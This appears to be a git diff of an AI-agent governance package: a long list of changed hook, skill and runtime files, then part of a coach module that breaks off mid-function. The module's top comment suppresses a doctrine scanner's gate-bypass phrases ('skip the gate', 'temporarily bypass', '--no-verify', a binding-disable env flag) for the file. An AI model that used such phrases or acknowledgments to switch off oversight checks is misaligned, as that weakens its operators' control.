  395. package/hooks/lib/goal-contract-quality.mjs +302 -0
  396. package/hooks/lib/hook-message-window.mjs +101 -9
  397. package/hooks/lib/invocation-required-verifier.mjs +184 -0
  398. package/hooks/lib/kernel/deterministic-cognitive-kernel.mjs +906 -0
  399. package/hooks/lib/obligation-ledger.mjs +147 -0
  400. package/hooks/lib/orchestration-manifest-extract.mjs +217 -0
  401. package/hooks/lib/owner-authorizations.mjs +269 -0
  402. package/hooks/lib/probe-discipline-scanner.mjs +142 -0
  403. package/hooks/lib/project-boundary-cognition.mjs +143 -0
  404. package/hooks/lib/recovery-context.mjs +151 -0
  405. package/hooks/lib/recovery-template-loader.mjs +154 -0
  406. package/hooks/lib/self-doctrine-check.mjs +321 -0
  407. package/hooks/lib/sensitive-shape-detector.mjs +64 -0
  408. package/hooks/lib/skill-autoload-gate-impl.mjs +226 -1
  409. package/hooks/lib/stop-hook-protocol.mjs +166 -0
  410. package/hooks/lib/surface-caught.mjs +94 -0
  411. package/hooks/recovery-templates/force-reauthor.md +67 -0
  412. package/hooks/recovery-templates/handoff-recovery.md +25 -0
  413. package/hooks/scripts/check-hard-risk-prefix.mjs +99 -0
  414. package/hooks/skills/aria-conversational-doctrine-discipline/SKILL.md +101 -0
  415. package/hooks/test-aria-preturn-memory-gate.mjs +2 -2
  416. package/hooks/test-tier-lens-labeling.mjs +14 -3
  417. package/opencode-plugins/harness-context/index.js +39 -6
  418. package/opencode-plugins/harness-context/task-project-ledger.mjs +5 -1
  419. package/opencode-plugins/harness-gate/index.js +36 -0
  420. package/opencode-plugins/harness-gate/lib/atlas-dossier-client.js +1 -0
  421. package/opencode-plugins/harness-gate/lib/recovery-grants.js +79 -0
  422. package/opencode-plugins/harness-outcome/index.js +12 -0
  423. package/opencode-plugins/harness-stop/index.js +97 -2
  424. package/opencode-plugins/harness-stop/lib/atlas-dossier-client.js +1 -0
  425. package/opencode-plugins/harness-stop/lib/domain-output-quality.js +15 -2
  426. package/opencode-plugins/lib/coach.js +148 -0
  427. package/package.json +71 -5
  428. package/runtime-src/coach-kernel.mjs +144 -7
  429. package/runtime-src/codex-bridge.mjs +254 -8
  430. package/runtime-src/embedded-public-key.mjs +27 -0
  431. package/runtime-src/gated-ledger.mjs +41 -14
  432. package/runtime-src/harness-daemon.mjs +85 -10
  433. package/runtime-src/hive-wal-publisher.mjs +292 -0
  434. package/runtime-src/lib/evaluate-with-kernel.mjs +133 -0
  435. package/runtime-src/lib/kernel/deterministic-cognitive-kernel.mjs +906 -0
  436. package/runtime-src/local-phase.mjs +10 -5
  437. package/runtime-src/packet-verifier.mjs +166 -0
  438. package/runtime-src/provider-proxy.mjs +13 -0
  439. package/runtime-src/quality-enforcer.mjs +40 -23
  440. package/runtime-src/runtime-rails/registry.mjs +252 -0
  441. package/runtime-src/service.mjs +8036 -764
  442. package/runtime-src/sub-agent-enforcer.mjs +201 -0
  443. package/scripts/aria-ledger-append.mjs +337 -0
  444. package/scripts/aria-task-cheap-worker-dispatch.mjs +234 -0
  445. package/scripts/audit-of-audit-prior-tasks.mjs +194 -0
  446. package/scripts/audit-of-audit-this-turn.mjs +116 -0
  447. package/scripts/bundle-sdk.mjs +31 -5
  448. package/scripts/check-cli-wrapper-provider-contract.mjs +160 -0
  449. package/scripts/check-client-compatibility.mjs +15 -5
  450. package/scripts/check-client-smoke.mjs +297 -0
  451. package/scripts/check-codex-orchestrator-adoption.mjs +150 -0
  452. package/scripts/check-glm-env-wired.mjs +131 -0
  453. package/scripts/check-hive-local-storage-contract.mjs +91 -0
  454. package/scripts/check-hook-mirror.mjs +150 -0
  455. package/scripts/check-install-sh-drift.mjs +152 -0
  456. package/scripts/check-kernel-sync.mjs +101 -0
  457. package/scripts/check-package-artifact.mjs +152 -0
  458. package/scripts/check-registry-mirror.mjs +71 -0
  459. package/scripts/drain-owner-airtable-sync-queue.mjs +287 -0
  460. package/scripts/export-owner-status-sheets.mjs +589 -0
  461. package/scripts/live-sidecar-receipt-canary.mjs +347 -0
  462. package/scripts/qiyas-tadabbur-model-matrix.mjs +970 -0
  463. package/scripts/quality-ab-live-provider.mjs +913 -0
  464. package/scripts/self-test-action-ledger-core.mjs +190 -0
  465. package/scripts/self-test-approval-receipt-binding.mjs +122 -0
  466. package/scripts/self-test-autofire-quality-output.mjs +110 -0
  467. package/scripts/self-test-claude-code-action-ledger.mjs +132 -0
  468. package/scripts/self-test-claude-code-mechanical-autofire-hive.mjs +138 -0
  469. package/scripts/self-test-claude-code-mechanical-autofire.mjs +234 -0
  470. package/scripts/self-test-codebase-awareness-atlas-delta.mjs +159 -0
  471. package/scripts/self-test-codebase-awareness-delta-ingest.mjs +179 -0
  472. package/scripts/self-test-codex-live-hook-parity.mjs +84 -0
  473. package/scripts/self-test-codex-native-action-ledger.mjs +167 -0
  474. package/scripts/self-test-codex-native-hook-json-contract.mjs +74 -0
  475. package/scripts/self-test-codex-orchestrator-continuity.mjs +113 -0
  476. package/scripts/self-test-codex-readable-recovery.mjs +94 -0
  477. package/scripts/self-test-codex-self-harness.mjs +538 -0
  478. package/scripts/self-test-compiled-workunit.mjs +214 -0
  479. package/scripts/self-test-continuation-output-smoke.mjs +101 -0
  480. package/scripts/self-test-cross-cli-fleet-ticker.mjs +85 -0
  481. package/scripts/self-test-cross-cli-hive-adoption.mjs +125 -0
  482. package/scripts/self-test-cross-cli-hive-learning.mjs +146 -0
  483. package/scripts/self-test-cross-phase-tool-failure.mjs +110 -0
  484. package/scripts/self-test-cross-surface-action-ledger.mjs +149 -0
  485. package/scripts/self-test-end-of-phase-qa-court.mjs +616 -0
  486. package/scripts/self-test-evaluate-with-kernel.mjs +111 -0
  487. package/scripts/self-test-first-class-output-delta-proof.mjs +307 -0
  488. package/scripts/self-test-goal-contract-output-qa.mjs +73 -0
  489. package/scripts/self-test-goal-contract.mjs +35 -0
  490. package/scripts/self-test-governed-adapters.mjs +105 -0
  491. package/scripts/self-test-governed-surface-runner.mjs +198 -0
  492. package/scripts/self-test-harness-gates.mjs +15 -12
  493. package/scripts/self-test-harness-ticker-sidecar.mjs +153 -0
  494. package/scripts/self-test-hive-org-kernel.mjs +233 -0
  495. package/scripts/self-test-hive-session-coordination.mjs +156 -0
  496. package/scripts/self-test-hive-wal-consumer.mjs +111 -0
  497. package/scripts/self-test-kernel-a3-a4-selection.mjs +179 -0
  498. package/scripts/self-test-ledger-append.mjs +175 -0
  499. package/scripts/self-test-live-codex-posttool-packet-smoke.mjs +111 -0
  500. package/scripts/self-test-live-codex-pretool-packet-smoke.mjs +101 -0
  501. package/scripts/self-test-live-codex-stop-qa-kernel-smoke.mjs +43 -0
  502. package/scripts/self-test-live-wrapper-substrate-inventory.mjs +149 -0
  503. package/scripts/self-test-local-main-sync-script.mjs +47 -0
  504. package/scripts/self-test-mechanical-autofire-resolver.mjs +296 -0
  505. package/scripts/self-test-no-consult-cognitive-skills-output.mjs +135 -0
  506. package/scripts/self-test-owner-airtable-sync-queue.mjs +196 -0
  507. package/scripts/self-test-owner-airtable-sync.mjs +181 -0
  508. package/scripts/self-test-owner-sheets-action-ledger.mjs +100 -0
  509. package/scripts/self-test-production-preflight.mjs +78 -0
  510. package/scripts/self-test-project-boundary-cognition.mjs +79 -0
  511. package/scripts/self-test-qa-exec-kernel.mjs +34 -0
  512. package/scripts/self-test-qa-recovery-learning-loop.mjs +113 -0
  513. package/scripts/self-test-qiyas-label-alignment.mjs +94 -0
  514. package/scripts/self-test-recovery-context.mjs +110 -0
  515. package/scripts/self-test-repo-guard.mjs +10 -0
  516. package/scripts/self-test-runtime-health-self-heal.mjs +161 -0
  517. package/scripts/self-test-runtime-postcondition.mjs +70 -0
  518. package/scripts/self-test-soul-precommit-hook.mjs +39 -0
  519. package/scripts/self-test-stop-gate-kernel-guards.mjs +185 -0
  520. package/scripts/self-test-stop-gate.mjs +128 -0
  521. package/scripts/self-test-substrate-kernel-execution-receipt.mjs +130 -0
  522. package/scripts/self-test-substrate-open-skill-floor.mjs +87 -0
  523. package/scripts/self-test-substrate-output-quality-eval.mjs +171 -0
  524. package/scripts/self-test-task-closeout-drift.mjs +97 -0
  525. package/scripts/self-test-task-project-ledger-readiness.mjs +43 -0
  526. package/scripts/self-test-task-runner-phase-consumer.mjs +134 -0
  527. package/scripts/self-test-task-worker-lane.mjs +256 -0
  528. package/scripts/self-test-turn-substrate-qa-kernel.mjs +188 -0
  529. package/scripts/self-test-universal-action-capture.mjs +153 -0
  530. package/scripts/self-test-universal-turn-packet-entrypoints.mjs +252 -0
  531. package/scripts/self-test-universal-turn-packet.mjs +320 -0
  532. package/scripts/session-quality-backfill.mjs +253 -0
  533. package/scripts/smoke-autofire-100-prompts.mjs +481 -0
  534. package/scripts/sync-local-main-on-task-complete.mjs +278 -0
  535. package/scripts/sync-owner-status-airtable.mjs +1158 -0
  536. package/scripts/validate-skill-prompts.mjs +12 -1
  537. package/scripts/verify-codex-native-mirror.mjs +262 -0
  538. package/skills/34-frameworks-unified/SKILL.md +42 -0
  539. package/skills/api-design/SKILL.md +123 -0
  540. package/skills/architecture-decision/SKILL.md +105 -0
  541. package/skills/aria-aristotle-cognitives/SKILL.md +128 -0
  542. package/skills/aria-aristotle-intra-phase/SKILL.md +99 -0
  543. package/skills/aria-aristotle-post-phase/SKILL.md +116 -0
  544. package/skills/aria-aristotle-pre-phase/SKILL.md +117 -0
  545. package/skills/aria-axioms-first-principles/SKILL.md +202 -0
  546. package/skills/aria-axioms-first-principles/agents/openai.yaml +4 -0
  547. package/skills/aria-axioms-first-principles/references/source-map.md +130 -0
  548. package/skills/aria-chat/SKILL.md +84 -0
  549. package/skills/aria-chat/scripts/aria-chat.sh +57 -0
  550. package/skills/aria-cognition/34-frameworks-unified/SKILL.md +42 -0
  551. package/skills/aria-cognition/aria-aristotle-cognitives/SKILL.md +128 -0
  552. package/skills/aria-cognition/aria-aristotle-intra-phase/SKILL.md +99 -0
  553. package/skills/aria-cognition/aria-aristotle-post-phase/SKILL.md +118 -0
  554. package/skills/aria-cognition/aria-aristotle-pre-phase/SKILL.md +117 -0
  555. package/skills/aria-cognition/aria-axioms-first-principles/SKILL.md +202 -0
  556. package/skills/aria-cognition/aria-axioms-first-principles/agents/openai.yaml +4 -0
  557. package/skills/aria-cognition/aria-axioms-first-principles/references/source-map.md +130 -0
  558. package/skills/aria-cognition/aria-backend-architect/SKILL.md +124 -0
  559. package/skills/aria-cognition/aria-backend-architect/references/backend-cookbook.md +417 -0
  560. package/skills/aria-cognition/aria-business-audit/SKILL.md +133 -0
  561. package/skills/aria-cognition/aria-business-audit/references/audit-cookbook.md +247 -0
  562. package/skills/aria-cognition/aria-business-frame/SKILL.md +138 -0
  563. package/skills/aria-cognition/aria-business-frame/references/business-cookbook.md +154 -0
  564. package/skills/aria-cognition/aria-chat/SKILL.md +84 -0
  565. package/skills/aria-cognition/aria-chat/scripts/aria-chat.sh +57 -0
  566. package/skills/aria-cognition/aria-cognition-autofire/SKILL.md +137 -0
  567. package/skills/aria-cognition/aria-cognition-batch/SKILL.md +264 -0
  568. package/skills/aria-cognition/aria-decision-mizan/SKILL.md +136 -0
  569. package/skills/aria-cognition/aria-decision-mizan/references/decision-frameworks.md +287 -0
  570. package/skills/aria-cognition/aria-first-class-operating-contract/SKILL.md +104 -0
  571. package/skills/aria-cognition/aria-frontend-architect/SKILL.md +123 -0
  572. package/skills/aria-cognition/aria-frontend-architect/references/frontend-cookbook.md +358 -0
  573. package/skills/aria-cognition/aria-fullstack-orchestrator/SKILL.md +127 -0
  574. package/skills/aria-cognition/aria-fullstack-orchestrator/references/fullstack-cookbook.md +383 -0
  575. package/skills/aria-cognition/aria-gtm-architect/SKILL.md +126 -0
  576. package/skills/aria-cognition/aria-gtm-architect/references/gtm-cookbook.md +235 -0
  577. package/skills/aria-cognition/aria-harness-deploy/SKILL.md +145 -0
  578. package/skills/aria-cognition/aria-harness-no-stripping/SKILL.md +135 -0
  579. package/skills/aria-cognition/aria-harness-onboarding/SKILL.md +130 -0
  580. package/skills/aria-cognition/aria-harness-output-discipline/SKILL.md +120 -0
  581. package/skills/aria-cognition/aria-harness-substrate-binding/SKILL.md +139 -0
  582. package/skills/aria-cognition/aria-http-harness-client/SKILL.md +85 -0
  583. package/skills/aria-cognition/aria-http-harness-client/scripts/smoke.mjs +47 -0
  584. package/skills/aria-cognition/aria-k8s-deploy/SKILL.md +174 -0
  585. package/skills/aria-cognition/aria-k8s-deploy/agents/openai.yaml +3 -0
  586. package/skills/aria-cognition/aria-ladduniframe/SKILL.md +60 -0
  587. package/skills/aria-cognition/aria-ledger-fleet-execution/SKILL.md +126 -0
  588. package/skills/aria-cognition/aria-live-ops/SKILL.md +54 -0
  589. package/skills/aria-cognition/aria-mac-ssh-ops/SKILL.md +100 -0
  590. package/skills/aria-cognition/aria-memory-index/SKILL.md +42 -0
  591. package/skills/aria-cognition/aria-noor-cognitives/SKILL.md +120 -0
  592. package/skills/aria-cognition/aria-ops/SKILL.md +60 -0
  593. package/skills/aria-cognition/aria-ops/references/live-endpoints.md +59 -0
  594. package/skills/aria-cognition/aria-quality-audit/SKILL.md +133 -0
  595. package/skills/aria-cognition/aria-readable-output/SKILL.md +239 -0
  596. package/skills/aria-cognition/aria-readable-output/references/layout-cookbook.md +366 -0
  597. package/skills/aria-cognition/aria-reasoning/SKILL.md +67 -0
  598. package/skills/aria-cognition/aria-reasoning/references/core-principles.md +42 -0
  599. package/skills/aria-cognition/aria-repo-audit/SKILL.md +135 -0
  600. package/skills/aria-cognition/aria-repo-audit/references/repo-audit-cookbook.md +375 -0
  601. package/skills/aria-cognition/aria-research-orchestrator/SKILL.md +138 -0
  602. package/skills/aria-cognition/aria-research-orchestrator/references/research-patterns.md +270 -0
  603. package/skills/aria-cognition/aria-retention-engine/SKILL.md +120 -0
  604. package/skills/aria-cognition/aria-retention-engine/references/retention-cookbook.md +271 -0
  605. package/skills/aria-cognition/aria-revenue-engine/SKILL.md +128 -0
  606. package/skills/aria-cognition/aria-revenue-engine/references/revenue-cookbook.md +227 -0
  607. package/skills/aria-cognition/aria-senior-code-audit/SKILL.md +233 -0
  608. package/skills/aria-cognition/aria-senior-code-audit/references/audit-checklist.md +369 -0
  609. package/skills/aria-cognition/aria-senior-code-cookbook/SKILL.md +288 -0
  610. package/skills/aria-cognition/aria-senior-code-cookbook/references/engineering-cookbook.md +489 -0
  611. package/skills/aria-cognition/aria-soul-principles/SKILL.md +42 -0
  612. package/skills/aria-cognition/aria-task-codex-executor/SKILL.md +86 -0
  613. package/skills/aria-cognition/aristotle-engine/SKILL.md +42 -0
  614. package/skills/aria-cognition/cross-domain-24/SKILL.md +42 -0
  615. package/skills/aria-cognition/deepsoul-emotional/SKILL.md +42 -0
  616. package/skills/aria-cognition/fitrah-guard/SKILL.md +78 -0
  617. package/skills/aria-cognition/ghazali-8lens/SKILL.md +227 -29
  618. package/skills/aria-cognition/ghazali-8lens/references/ghazali-8lens-cookbook.md +797 -0
  619. package/skills/aria-cognition/ijtihad-novel/SKILL.md +42 -0
  620. package/skills/aria-cognition/ilham-intuition/SKILL.md +42 -0
  621. package/skills/aria-cognition/never-guess/SKILL.md +77 -0
  622. package/skills/aria-cognition/noor-recognition/SKILL.md +45 -0
  623. package/skills/aria-cognition/qiyas-analogy/SKILL.md +174 -14
  624. package/skills/aria-cognition/ruh-basis/SKILL.md +42 -0
  625. package/skills/aria-cognition/tadabbur/SKILL.md +506 -0
  626. package/skills/aria-cognition/tadabbur/references/tadabbur-cookbook.md +921 -0
  627. package/skills/aria-cognition/tadabbur-ops/SKILL.md +42 -0
  628. package/skills/aria-cognition/tafakkur/SKILL.md +104 -0
  629. package/skills/aria-cognition-autofire/SKILL.md +109 -0
  630. package/skills/aria-cognition-batch/SKILL.md +264 -0
  631. package/skills/aria-conversational-doctrine-discipline/SKILL.md +125 -0
  632. package/skills/aria-essence/SKILL.md +81 -0
  633. package/skills/aria-essence/references/domain-matrix.md +80 -0
  634. package/skills/aria-essence/references/evolution-loop.md +30 -0
  635. package/skills/aria-essence/references/readable-cognition.md +27 -0
  636. package/skills/aria-first-class-operating-contract/SKILL.md +104 -0
  637. package/skills/aria-forge-guardrails/SKILL.md +53 -0
  638. package/skills/aria-forge-guardrails/references/checklist.md +31 -0
  639. package/skills/aria-harness-deploy/SKILL.md +145 -0
  640. package/skills/aria-harness-no-stripping/SKILL.md +135 -0
  641. package/skills/aria-harness-onboarding/SKILL.md +130 -0
  642. package/skills/aria-harness-output-discipline/SKILL.md +120 -0
  643. package/skills/aria-harness-substrate-binding/SKILL.md +139 -0
  644. package/skills/aria-http-harness-client/SKILL.md +85 -0
  645. package/skills/aria-http-harness-client/scripts/smoke.mjs +47 -0
  646. package/skills/aria-k8s-deploy/SKILL.md +174 -0
  647. package/skills/aria-k8s-deploy/agents/openai.yaml +3 -0
  648. package/skills/aria-ladduniframe/SKILL.md +60 -0
  649. package/skills/aria-ledger-fleet-execution/SKILL.md +126 -0
  650. package/skills/aria-live-ops/SKILL.md +54 -0
  651. package/skills/aria-mac-ssh-ops/SKILL.md +100 -0
  652. package/skills/aria-memory-index/SKILL.md +42 -0
  653. package/skills/aria-noor-cognitives/SKILL.md +120 -0
  654. package/skills/aria-ops/SKILL.md +60 -0
  655. package/skills/aria-ops/references/live-endpoints.md +59 -0
  656. package/skills/aria-quality-audit/SKILL.md +133 -0
  657. package/skills/aria-reasoning/SKILL.md +67 -0
  658. package/skills/aria-reasoning/references/core-principles.md +42 -0
  659. package/skills/aria-repo-doctrine/SKILL.md +57 -0
  660. package/skills/aria-soul-principles/SKILL.md +42 -0
  661. package/skills/aria-task-codex-executor/SKILL.md +86 -0
  662. package/skills/aristotle-engine/SKILL.md +42 -0
  663. package/skills/ci-cd-pipeline/SKILL.md +116 -0
  664. package/skills/code-review/SKILL.md +131 -0
  665. package/skills/cross-domain-24/SKILL.md +42 -0
  666. package/skills/database-design/SKILL.md +124 -0
  667. package/skills/deepsoul-emotional/SKILL.md +42 -0
  668. package/skills/deno-kv-raft-pubsub/SKILL.md +561 -0
  669. package/skills/deno-kv-raft-pubsub/reference/maelstrom-integration.md +393 -0
  670. package/skills/deno-kv-raft-pubsub/reference/pubsub-api.md +376 -0
  671. package/skills/deno-kv-raft-pubsub/reference/raft-spec.md +402 -0
  672. package/skills/deno-kv-raft-pubsub/reference/state-machine.md +182 -0
  673. package/skills/error-handling/SKILL.md +159 -0
  674. package/skills/firecrawl/SKILL.md +165 -0
  675. package/skills/firecrawl/rules/install.md +82 -0
  676. package/skills/firecrawl/rules/security.md +26 -0
  677. package/skills/firecrawl-agent/SKILL.md +86 -0
  678. package/skills/firecrawl-build-interact/SKILL.md +96 -0
  679. package/skills/firecrawl-build-onboarding/SKILL.md +131 -0
  680. package/skills/firecrawl-build-onboarding/references/auth-flow.md +39 -0
  681. package/skills/firecrawl-build-onboarding/references/project-setup.md +20 -0
  682. package/skills/firecrawl-build-onboarding/references/sdk-installation.md +17 -0
  683. package/skills/firecrawl-build-scrape/SKILL.md +97 -0
  684. package/skills/firecrawl-build-search/SKILL.md +97 -0
  685. package/skills/firecrawl-clone/SKILL.md +419 -0
  686. package/skills/firecrawl-crawl/SKILL.md +87 -0
  687. package/skills/firecrawl-download/SKILL.md +98 -0
  688. package/skills/firecrawl-interact/SKILL.md +112 -0
  689. package/skills/firecrawl-map/SKILL.md +79 -0
  690. package/skills/firecrawl-scrape/SKILL.md +97 -0
  691. package/skills/firecrawl-search/SKILL.md +88 -0
  692. package/skills/fitrah-guard/SKILL.md +78 -0
  693. package/skills/forge-quality-rules/SKILL.md +61 -0
  694. package/skills/ghazali-8lens/SKILL.md +56 -0
  695. package/skills/ijtihad-novel/SKILL.md +42 -0
  696. package/skills/ilham-intuition/SKILL.md +42 -0
  697. package/skills/imagegen/LICENSE.txt +201 -0
  698. package/skills/imagegen/SKILL.md +374 -0
  699. package/skills/imagegen/agents/openai.yaml +6 -0
  700. package/skills/imagegen/assets/imagegen-small.svg +5 -0
  701. package/skills/imagegen/assets/imagegen.png +0 -0
  702. package/skills/imagegen/references/cli.md +242 -0
  703. package/skills/imagegen/references/codex-network.md +33 -0
  704. package/skills/imagegen/references/image-api.md +90 -0
  705. package/skills/imagegen/references/prompting.md +118 -0
  706. package/skills/imagegen/references/sample-prompts.md +433 -0
  707. package/skills/imagegen/scripts/image_gen.py +995 -0
  708. package/skills/imagegen/scripts/remove_chroma_key.py +440 -0
  709. package/skills/istiqra-induction/SKILL.md +44 -0
  710. package/skills/ladunni-22/SKILL.md +53 -0
  711. package/skills/mizan/SKILL.md +90 -0
  712. package/skills/nadia/SKILL.md +56 -0
  713. package/skills/nadia-psi/SKILL.md +56 -0
  714. package/skills/never-guess/SKILL.md +75 -0
  715. package/skills/noor-recognition/SKILL.md +45 -0
  716. package/skills/observability/SKILL.md +133 -0
  717. package/skills/openai-docs/LICENSE.txt +201 -0
  718. package/skills/openai-docs/SKILL.md +100 -0
  719. package/skills/openai-docs/agents/openai.yaml +14 -0
  720. package/skills/openai-docs/assets/openai-small.svg +3 -0
  721. package/skills/openai-docs/assets/openai.png +0 -0
  722. package/skills/openai-docs/references/latest-model.md +37 -0
  723. package/skills/openai-docs/references/prompting-guide.md +244 -0
  724. package/skills/openai-docs/references/upgrade-guide.md +181 -0
  725. package/skills/openai-docs/scripts/resolve-latest-model-info.js +147 -0
  726. package/skills/pdf/LICENSE.txt +201 -0
  727. package/skills/pdf/SKILL.md +85 -0
  728. package/skills/pdf/agents/openai.yaml +5 -0
  729. package/skills/pdf/assets/pdf.png +0 -0
  730. package/skills/playwright/LICENSE.txt +201 -0
  731. package/skills/playwright/NOTICE.txt +14 -0
  732. package/skills/playwright/SKILL.md +165 -0
  733. package/skills/playwright/agents/openai.yaml +6 -0
  734. package/skills/playwright/assets/playwright-small.svg +3 -0
  735. package/skills/playwright/assets/playwright.png +0 -0
  736. package/skills/playwright/references/cli.md +116 -0
  737. package/skills/playwright/references/workflows.md +95 -0
  738. package/skills/playwright/scripts/playwright_cli.sh +25 -0
  739. package/skills/plugin-creator/SKILL.md +178 -0
  740. package/skills/plugin-creator/agents/openai.yaml +6 -0
  741. package/skills/plugin-creator/assets/plugin-creator-small.svg +3 -0
  742. package/skills/plugin-creator/assets/plugin-creator.png +0 -0
  743. package/skills/plugin-creator/references/plugin-json-spec.md +170 -0
  744. package/skills/plugin-creator/scripts/create_basic_plugin.py +301 -0
  745. package/skills/predictor/SKILL.md +43 -0
  746. package/skills/qiyas-analogy/SKILL.md +204 -0
  747. package/skills/refactoring/SKILL.md +137 -0
  748. package/skills/ruh-basis/SKILL.md +42 -0
  749. package/skills/security-review/SKILL.md +129 -0
  750. package/skills/skill-creator/SKILL.md +434 -0
  751. package/skills/skill-creator/agents/openai.yaml +5 -0
  752. package/skills/skill-creator/assets/skill-creator-small.svg +3 -0
  753. package/skills/skill-creator/assets/skill-creator.png +0 -0
  754. package/skills/skill-creator/license.txt +202 -0
  755. package/skills/skill-creator/references/openai_yaml.md +49 -0
  756. package/skills/skill-creator/scripts/generate_openai_yaml.py +226 -0
  757. package/skills/skill-creator/scripts/init_skill.py +400 -0
  758. package/skills/skill-creator/scripts/quick_validate.py +101 -0
  759. package/skills/skill-installer/LICENSE.txt +202 -0
  760. package/skills/skill-installer/SKILL.md +76 -0
  761. package/skills/skill-installer/agents/openai.yaml +5 -0
  762. package/skills/skill-installer/assets/skill-installer-small.svg +3 -0
  763. package/skills/skill-installer/assets/skill-installer.png +0 -0
  764. package/skills/skill-installer/scripts/github_utils.py +21 -0
  765. package/skills/skill-installer/scripts/install-skill-from-github.py +308 -0
  766. package/skills/skill-installer/scripts/list-skills.py +107 -0
  767. package/skills/skills-and-hooks-reference/SKILL.md +196 -0
  768. package/skills/soul-domains/SKILL.md +43 -0
  769. package/skills/tadabbur/SKILL.md +232 -0
  770. package/skills/tadabbur-ops/SKILL.md +42 -0
  771. package/skills/tafakkur/SKILL.md +104 -0
  772. package/skills/testing-strategy/SKILL.md +122 -0
  773. package/src/action-ledger-core.ts +1054 -0
  774. package/src/chat.ts +5 -6
  775. package/src/codebase-scanner.ts +2 -0
  776. package/src/connectors/claude-code.ts +149 -12
  777. package/src/connectors/codebase-awareness.ts +325 -25
  778. package/src/connectors/codex.ts +1273 -40
  779. package/src/connectors/cursor.ts +8 -0
  780. package/src/connectors/governed-adapter.ts +174 -0
  781. package/src/connectors/opencode.ts +18 -2
  782. package/src/connectors/repo-guard.ts +24 -12
  783. package/src/connectors/runtime.ts +99 -2
  784. package/src/connectors/shell.ts +125 -7
  785. package/src/cross-cli-hive-binding.ts +290 -0
  786. package/src/garden-control-plane.ts +24 -1
  787. package/src/governed-surface-runner.ts +1227 -0
  788. package/src/index.ts +104 -1
  789. package/src/task-runner.ts +3794 -0
  790. package/dist/aria-connector/src/install-hooks.d.ts +0 -18
  791. package/dist/aria-connector/src/install-hooks.d.ts.map +0 -1
  792. package/dist/aria-connector/src/install-hooks.js +0 -224
  793. package/dist/aria-connector/src/install-hooks.js.map +0 -1
  794. package/dist/aria-connector/src/onboarding-wizard.d.ts +0 -5
  795. package/dist/aria-connector/src/onboarding-wizard.d.ts.map +0 -1
  796. package/dist/aria-connector/src/onboarding-wizard.js +0 -188
  797. package/dist/aria-connector/src/onboarding-wizard.js.map +0 -1
  798. package/dist/cli-0.2.38.tgz +0 -0
  799. package/dist/install.sh +0 -13
  800. package/src/__tests__/anthropic-oauth.test.ts +0 -186
  801. package/src/__tests__/auth-commands.test.ts +0 -132
  802. package/src/__tests__/owner-login.test.ts +0 -311
@@ -1,13 +1,40 @@
1
+ // ── doctrine-self-check-file: M0.SELFREVIEW.1+2 (2026-05-06) ──
2
+ // Session added comments describing prior antipatterns being migrated.
3
+ // Each comment names a trigger pattern; file-level ack covers them all.
4
+ // doctrine-self-check-file: fall.?through session-added-comments-describing-prior-state-or-migration
5
+ // doctrine-self-check-file: use the override|skip the gate|emergency flag|temporarily bypass|use the env disable|force through|DEPLOY_ALLOW_NO_ADMISSION_POLICY|ARIA_BINDING_ENABLED=false|--no-verify|--force session-added-comments-describing-prior-state-or-migration
6
+
1
7
  import { appendFileSync, existsSync, mkdirSync, readFileSync, renameSync, writeFileSync } from 'node:fs';
2
8
  import { createHash } from 'node:crypto';
3
9
  import { homedir } from 'node:os';
4
- import { basename, dirname, join } from 'node:path';
10
+ import { basename, dirname, join, resolve } from 'node:path';
5
11
 
6
12
  export const FIRST_CLASS_COACH_VERSION = 'aria.first_class_coach.v1';
7
13
  export const TASK_PROJECT_LEDGER_VERSION = 'aria.task_project_ledger.v1';
8
14
  export const RUNTIME_COACH_BRIDGE_VERSION = 'aria.runtime_coach_bridge.v1';
9
15
 
10
- export const FIRST_CLASS_AXIOMS = [
16
+ // M0.H.X10 (2026-05-06) Phase 0 audit Cluster H finding M0.H.18:
17
+ // FIRST_CLASS_AXIOMS now sourced from canonical FITRAH_AXIOM_NAMES in
18
+ // the runtime-rails registry. Pre-this-commit: this file maintained its
19
+ // own list of names, parallel to owner-runtime.ts:FITRAH_AXIOMS. The
20
+ // names were identical, but the audit flagged the duplication as drift
21
+ // risk. Now: single source of truth across pod (owner-runtime) and hook
22
+ // (first-class-coach).
23
+ //
24
+ // Note: this hook lives under ops/claude-hooks/lib/, not under
25
+ // apps/arias-soul/api/lib/. The canonical registry is in the apps/
26
+ // tree. Hook code can't reach across packages at install-time, so we
27
+ // inline the import via a relative path that resolves only when the
28
+ // hook runs from the monorepo (dev). For PRODUCTION client deployments
29
+ // (connector npm package), the connector ships its own runtime-rails
30
+ // registry mirror under packages/aria-connector/runtime-src/runtime-rails/
31
+ // (Meta-X2 step 8) — and this hook ships under packages/aria-connector/
32
+ // hooks/lib/ where a similar shim must reference the connector mirror.
33
+ //
34
+ // For dev / pod-side use, the names are inlined as a fallback so the
35
+ // file still works when the apps/ registry isn't reachable. Operator
36
+ // can grep `[first-class-coach:axiom-import]` to spot fallback paths.
37
+ let FITRAH_AXIOM_NAMES_FALLBACK = [
11
38
  'truth_over_deception',
12
39
  'no_harm',
13
40
  'sacred_trust',
@@ -15,6 +42,8 @@ export const FIRST_CLASS_AXIOMS = [
15
42
  'reflection_before_action',
16
43
  ];
17
44
 
45
+ export const FIRST_CLASS_AXIOMS = FITRAH_AXIOM_NAMES_FALLBACK;
46
+
18
47
  export const FIRST_CLASS_DOMAINS = [
19
48
  'engineering_quality',
20
49
  'reliability',
@@ -173,11 +202,24 @@ function compactHint(value = '') {
173
202
  return tail.replace(/[^a-zA-Z0-9._-]+/g, '-').slice(0, 80) || 'unknown';
174
203
  }
175
204
 
205
+ // AI-11803-LOUD-PARSE-ERROR (2026-05-12) — distinguish "file does not exist"
206
+ // (legitimately null) from "file exists but is corrupt" (silent state loss).
207
+ // The prior catch returned null for both, so a corrupt ledger from an
208
+ // interrupted write looked identical to a never-existed file — callers
209
+ // happily created a fresh ledger and the prior state's history vanished.
210
+ // Now: parse errors LOUD-log to stderr with the path + error message so the
211
+ // operator sees corruption. Still returns null so callers can recover by
212
+ // re-initializing (fail-soft is the right behavior for a hook that runs on
213
+ // every turn — we cannot brick the agent because one ledger file is bad).
214
+ // The LOUD signal is the operator-visibility per
215
+ // feedback_non_blocking_errors_unacceptable.md — silent return is forbidden.
176
216
  function readJsonFile(path) {
217
+ if (!existsSync(path)) return null;
177
218
  try {
178
- if (!existsSync(path)) return null;
179
219
  return JSON.parse(readFileSync(path, 'utf8'));
180
- } catch {
220
+ } catch (err) {
221
+ const message = err instanceof Error ? err.message : String(err);
222
